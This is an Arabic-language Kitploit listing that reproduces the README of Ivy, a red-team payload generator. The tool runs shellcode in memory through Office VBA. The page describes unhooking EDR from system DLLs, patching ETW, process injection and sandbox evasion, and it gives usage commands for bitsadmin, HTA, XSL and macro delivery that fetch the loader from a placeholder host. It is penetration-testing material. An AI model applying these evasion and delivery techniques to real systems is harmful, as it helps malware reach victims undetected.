Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Ivy — Ivy هو إطار عمل لإنشاء الحمولات (payloads) يهدف إلى تنفيذ أكواد مصدرية عشوائية بلغة VBA (وحدات الماكرو) مباشرةً في الذاكرة. يحقّق مُحمّل Ivy ذلك من خلال الاستفادة من الوصول البرمجي في بيئة كائنات VBA لتحميل الشيل كود وفك تشفيره وتنفيذه. | Kitploit
أدوات/GitHubGitHub/optiv/ivy
توليد الحمولةالاستغلالشيل كودما بعد الاستغلالاختبار الاختراقالفريق الأحمرتطوير الحمولاتArchived
GitHuboptiv/ivy

Ivy

Ivy هو إطار عمل لإنشاء الحمولات (payloads) يهدف إلى تنفيذ أكواد مصدرية عشوائية بلغة VBA (وحدات الماكرو) مباشرةً في الذاكرة. يحقّق مُحمّل Ivy ذلك من خلال الاستفادة من الوصول البرمجي في بيئة كائنات VBA لتحميل الشيل كود وفك تشفيره وتنفيذه.

عرض المستودع
74312913منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تم أرشفة هذا المستودع

لعرض أحدث إصدار من Ivy أو تقديم مشكلة، راجع https://github.com/Tylous/Ivy.



مزيد من المعلومات

إذا كنت تريد معرفة المزيد عن التقنيات المستخدمة في هذا الإطار وكذلك الإجراءات الدفاعية للمساعدة في الدفاع ضده، يرجى إلقاء نظرة على المقال.

الوصف

Ivy هو إطار لإنشاء الحمولات لتنفيذ كود مصدر VBA (ماكرو) تعسفي في الذاكرة. يقوم محمل Ivy بذلك عن طريق إساءة استخدام الوصول البرمجي في بيئة كائن VBA لتحميل وفك تشفير وتنفيذ الشيل كود. هذه التقنية هي أقرب ما يمكن إلى كونها حقيقية بدون ملفات، حيث أن معظم الهجمات غير الملفية هذه الأيام تتطلب نوعًا ما من الملفات التي يتم إسقاطها على القرص، ونتيجة لذلك تتجاوز القواعد القياسية القائمة على التوقيع للكشف عن كود VBA. تحتوي حمولات VBA النموذجية على الخصائص التالية:

  • تتواجد في مستندات Office مفعلة بالماكرو
  • توجد هذه المستندات الماكرو على القرص

من خلال العمل في الذاكرة فقط، تجعل هذه الخصائص السلوكية من الصعب اكتشافها بواسطة أنظمة EDR.

يتم تشفير محملات Ivy باستخدام تشفير RC4 (يسبب تشفير AES الكثير من التضخم ويستغرق وقتًا طويلاً لفك تشفيره في VBA) ثم يتم تقسيمها إلى سلاسل منفصلة، مما يمنع أي صندوق رمل من التعرف على هذه السلاسل كسلاسل مشفرة يجب فحصها. يمنع هذا أيضًا أي آلية فك ترميز من التعرف على هذه الحمولات على أنها شيء سوى أحرف غير مرغوب فيها.

يقوم محمل Ivy أولاً بإجراء استعلام في السجل لتمكين "Trust access to the VBA project object mode". يتم تخزين قيمة مفتاح التسجيل هذه في وضع المستخدم مما يسمح للمستخدم بتعديل القيمة دون الحاجة إلى أي صلاحيات مرتفعة. يتم تعيين قيمة التسجيل من صفر إلى 1؛ إذا كان مفتاح التسجيل غير موجود، سيقوم Ivy بإنشائه بقيمة "1". مع تمكين هذه القيمة، يُسمح بالوصول البرمجي إلى بيئة كائن VBA من عملية مختلفة.

بمجرد القيام بذلك، سيقوم المحمل بعد ذلك بتشغيل عملية Excel مخفية وتحميل السلاسل المشفرة في دالة VBA. يتم ذلك باستخدام ActiveX لمحاكاة إجراءات واجهة المستخدم الرسومية للقيام بنفس المهمة. يساعد هذا في تجاوز الكثير من الضوابط التقليدية الموضوعة لمراقبة التنفيذ. نتيجة لذلك، يتم نقل دالة فك التشفير والشيل كود من مخزن مؤقت إلى آخر، دون لمس القرص أبدًا. أخيرًا، يستخدم المحمل استدعاءات command-GUI وينفذ دالة التشغيل، والتي تحاكي فعل النقر على زر تشغيل الماكرو في لوحة واجهة المستخدم الرسومية لـ VBA، وبدء دالة فك التشفير، تليها التنفيذ الفعلي للشيل كود.

مهم

يجب أن يكون Microsoft Office مثبتًا ومفعلًا على نقطة النهاية المستهدفة لكي يعمل، لأن Ivy يعتمد على إساءة استخدام الوصول البرمجي إلى بيئة VBA الخاصة بـ Microsoft Office.

وضع إلغاء ربط EDR

يسمح هذا لـ Ivy باستخدام استدعاءات نظام منخفضة المستوى لبناء نسخته الخاصة من دالة Windows WriteProcessMemory من خلال الإشارة إلى عنوان الذاكرة المباشر وقيم السجلات بشكل غير مباشر. يمكن لـ Ivy الكتابة فوق أجزاء من الذاكرة غير قابلة للكتابة دون استدعاء أي من وظائف API لتغيير الذاكرة. يتم ذلك بسبب ميزة في WriteProcessMemory التي تغير مؤقتًا صلاحيات منطقة الذاكرة لتكون قابلة للكتابة (إذا كان لديك صلاحيات كافية، وهو ما نملكه لأننا نملك العملية). يقوم بكتابة القيمة واستعادة الصلاحيات الأصلية دون استدعاء دالة VirtualProtect، بدلاً من ذلك يستدعي تلقائيًا syscall المرتبط (NtProtectVirtualMemory).

لا تستخدم Ivy نسختها الخاصة من NtWriteVirtualMemory لأن هذه العملية لتغيير صلاحيات الذاكرة مؤقتًا لن تحدث، مما يعني أن حماية عنوان الذاكرة المحدد لن يتم تعديلها وسيفشل التنفيذ. هذه "ميزة" أصدرتها Microsoft لجعل المصححات أكثر استقرارًا. حيث أن المصححات ترغب في تعديل الذاكرة بسرعة، يمكنها ببساطة تعديل قسم دون الحاجة إلى أداء مهام متعددة. (راجع devblogs.microsoft.com للحصول على معلومات)

دعنا نلقي نظرة على سلسلة الأحداث التي سيراها EDR:

  • يقوم Ivy بإنشاء دالة WriteProcessMemory التي تقوم بإعداد قيم التسجيل المناسبة يدويًا.
  • تستدعي الدالة الخاصة بنا عنوان الذاكرة الدقيق حيث يتم تخزين WriteProcessMemory. (سيبدو هذا كاستدعاء للسجل RAX بدلاً من استدعاء kernel32.WriteProcessMemory)
  • هذا يعني أننا لا نستدعي WriteProcessMemory بشكل مباشر مع الاستمرار في استخدام جميع الميزات.
  • سيرى EDR فقط سلسلة من التجميع لا تتطابق مع أي مؤشرات خبيثة إلى عنوان ذاكرة.
  • سيكون عنوان الذاكرة هذا هو بداية دالة، ولكن عنوان الدالة فريد بسبب ASLR؛ يجب إجراء بحث عن كل دالة.
  • قبل تنفيذ عملية الكتابة، يتم تنفيذ syscall ZWQueryVirtualMemory لعرض الحماية على منطقة الذاكرة.
  • إذا لم تكن هذه الذاكرة مضبوطة على قابلة للكتابة، يتم استدعاء NtProtectVirtualMemory لتغيير الصلاحيات.
  • ثم يتم كتابة 8 بايت من التجميع إلى عنوان الذاكرة المحدد.
  • يتم استدعاء NtProtectVirtualMemory مرة أخرى لاستعادة قيمة الحماية الأصلية.

بمجرد التخلص من جميع خطافات EDR، يقوم المحمل بعد ذلك بتنفيذ إجراءه الطبيعي لإنشاء جلسة عن بعد.

يعالج Ivy هذا عن طريق إلغاء ربط ملفات DLL النظام الشائعة التي تربطها EDR، وتشمل هذه:

  • Ntdll.dll
  • Kernel32.dll
  • Kernelbase.dll
  • Advapi32.dll
  • Sechost.dll
  • Ws2_32.dll
  • Winmmbase.dll

عند استخدام unhook مع نوع حمولة Inject، سيقوم محمل Ivy أولاً بإلغاء ربط عملية Office وإزالة EDR منها ثم إزالة الخطافات في العملية المحقونة. يضمن هذا أن كلا العمليتين خاليتان من الخطافات، مما يمنع أي تتبع من العملية الأم والتابعة من الإرسال إلى EDR.

تصحيح ETW

باستخدام نفس التقنية لإلغاء الربط، يمكن لـ Ivy تصحيح وظائف ETW، مما يمنع أي حدث من التوليد بواسطة العملية. يستخدم ETW استدعاءات نظام مدمجة لتوليد هذا التتبع. نظرًا لأن ETW ميزة أصلية مدمجة في Windows، لا تحتاج منتجات الأمان إلى "ربط" استدعاءات نظام ETW للحصول على المعلومات. نتيجة لذلك، لمنع ETW، يقوم Ivy بتصحيح العديد من استدعاءات نظام ETW، وتطهير السجلات وإعادة تدفق التنفيذ إلى التعليمات التالية. أصبح تصحيح ETW الآن افتراضيًا في جميع المحملات، إذا كنت ترغب في عدم تصحيح ETW فاستخدم خيار سطر الأوامر -noetw لتعطيله في المحمل الخاص بك.

عرض توضيحي

التثبيت

تم تطوير Ivy باستخدام Go.

الخطوة الأولى كالعادة هي استنساخ المستودع. قبل تجميع Ivy، ستحتاج إلى تثبيت التبعيات. لتثبيتها، قم بتشغيل الأوامر التالية:

root@kitploit:~
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go

ثم قم ببنائه

root@kitploit:~
go build Ivy.go

المساعدة

root@kitploit:~
$ ./Ivy -h

     ___   ___      ___  ___    ___
    |\  \ |\  \    /  /||\  \  /  /|
    \ \  \\ \  \  /  / /\ \  \/  / /
     \ \  \\ \  \/  / /  \ \    / /
      \ \  \\ \    / /    \/  /  /
       \ \__\\ \__/ /   __/  / /
        \|__| \|__|/   |\___/ /
                       \|___|/
                       (@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?

Usage of ./Ivy:
    -Ix64 string
    	Path to the x64 payload
  -Ix86 string
    	Path to the x86 payload
  -O string
    	Name of output file
  -P string
    	Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
  -debug
    	Print debug statements
  -delivery string
    	Generates an one-liner command to download and execute the payload remotely:
    	[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
    	[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
    	[*] macro - Generates an office macro that would download and execute a the loader remotely.
    	[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
  -process32 string
    	The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
  -process64 string
    	The full path to the x64 application to spawn. Please  specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
  -product string
    	Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
  -sandbox
    	Enable sandbox evasion controls (i.e. checks if the system is domain joined)
  -stageless
    	Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
  -unhook
    	Unhooks EDR's hooks before loading payload
  -url string
    	URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)

إنشاء محمل

عند إنشاء محمل باستخدام Ivy، تحتاج إلى إنشاء حمولة 64 بت و32 بت وإدخالها باستخدام وسيطات سطر الأوامر -Ix64 و -Ix86. وذلك لأن نظام التشغيل قد يكون 64 بت ولكن إصدار Office قيد التشغيل قد يكون في الواقع 32 بت؛ نتيجة لذلك سيكتشف Ivy البنية المناسبة للاستخدام قبل حقن الحمولة.

بالإضافة إلى ذلك، عند إنشاء محمل هناك نوعان من الحمولات. الأول، Inject، يقوم بهجوم حقن العملية حيث يتم إنشاء عملية جديدة في حالة معلقة ويتم حقن الشيل كود في العملية، قبل استئنافها. بينما يمكن أن يكون حقن العملية مفيدًا ويولد عملية غير تابعة لـ Excel، فإن أنظمة EDR ماهرة جدًا في اكتشاف فعل إنشاء عملية معلقة للحقن فيها، مما قد يؤدي إلى اكتشافنا. الخيار الأكثر خفاءً هو Local. يقوم هذا بتحميل الشيل كود مباشرة في عملية Office الحالية. يأتي خيار Local أيضًا بميزات إضافية لتجنب الكشف، باستخدام استدعاءات مباشرة لبعض استدعاءات النظام في Windows. هذا بسبب أن بيئة VBA تسمح لنا بتعريف واستدعاء الدالة بالضبط (بشرط أن نكون قد رتبنا جميع السجلات الصحيحة مسبقًا) بناءً على المكدس. أخيرًا، يحتوي محمل Ivy في هذا النوع من الحمولة على استدعاء غير موثق لتنفيذ الشيل كود، مما يجعل اكتشاف التنفيذ أكثر صعوبة.

عملية الحقن

مع وضع Inject، سيقوم Ivy بإنشاء عملية في حالة معلقة لحقن الشيل كود فيها. اعتمادًا على ما إذا كان النظام 32 بت أو 64 بت، سيقوم بتشغيل عملية مختلفة. يأتي Ivy مع بعض أسماء العمليات الافتراضية للتشغيل، ومع ذلك يمكن تغييرها باستخدام العلامات process32 أو process64. عند تحديد المسار تأكد من استخدام \\ للمسار.

الحمولة ذات المراحل مقابل الحمولة بدون مراحل

أولاً، يجب عليك دائمًا استخدام الوسيطة -stageless. ومع ذلك، إذا كنت بحاجة مطلقًا إلى تشغيل حمولة ذات مراحل يمكنك القيام بذلك بعدم استخدام الوسيطة -stageless. عند استخدام -stageless يمكنك استخدام شيل كود خام، ومع ذلك، عندما تختار تشغيل حمولة ذات مراحل فمن المهم أنه بالنسبة لأنواع الحمولات Inject يجب أن يكون الشيل كود منسقًا بصيغة VBA وبالنسبة لأنواع Local يجب أن يكون الشيل كود منسقًا بصيغة C.

التسليم

تتيح لك وسيطة سطر الأوامر delivery إنشاء أمر أو سلسلة من الكود (في حالة الماكرو) لسحب الملف عن بعد من مصدر بعيد إلى مضيف الضحية. تشمل طرق التسليم هذه:

  • Bits – سيقوم هذا بإنشاء أمر bitsadmin يقوم بتنزيل المحمل عن بعد، وتنفيذه وإزالته.
  • HTA – سيقوم هذا بإنشاء ملف HTA فارغ يحتوي على المحمل. سيوفر هذا الخيار أيضًا سطر أوامر سيقوم بتنفيذ HTA عن بعد في الخلفية.
  • Macro – سيقوم هذا بإنشاء ماكرو Office يمكن وضعه في مستند ماكرو Excel أو Word. عند تنفيذ هذا الماكرو، سيتم تنزيل المحمل من مصدر بعيد وتنفيذه ثم إزالته.
  • XSL - ينشئ ملف ورقة أنماط xsl يحتوي على المحمل بالإضافة إلى أمر من سطر واحد لتنفيذ المحمل عن بعد.

أمثلة

حمولة ذات مراحل من نوع Inject

root@kitploit:~
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js

حمولة ذات مراحل من نوع Local

root@kitploit:~
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js

حمولة بدون مراحل من نوع Local

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js

حمولة بدون مراحل من نوع Inject

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js

حمولة بدون مراحل من نوع Inject مع تشغيل notepad.exe

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js

حمولة بدون مراحل من نوع Local مع إلغاء الربط

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js

حمولة بدون مراحل من نوع Inject مع إلغاء الربط

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js

نماذج أوامر من سطر واحد

أنواع الملفات غير القابلة للتنفيذ

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless

أمر Bitsadmin

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless

أمر MSHTA.exe

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless

حمولة ورقة أنماط

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless

ماكرو تنزيل ويب

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless

المشكلات المعروفة

حاليًا هناك مشكلة معروفة تتعلق بإلغاء ربط العملية المحقونة عن بعد. الحل البديل الحالي هو تحميل BOF unhook في الوقت الحالي.

تنزيل الأداة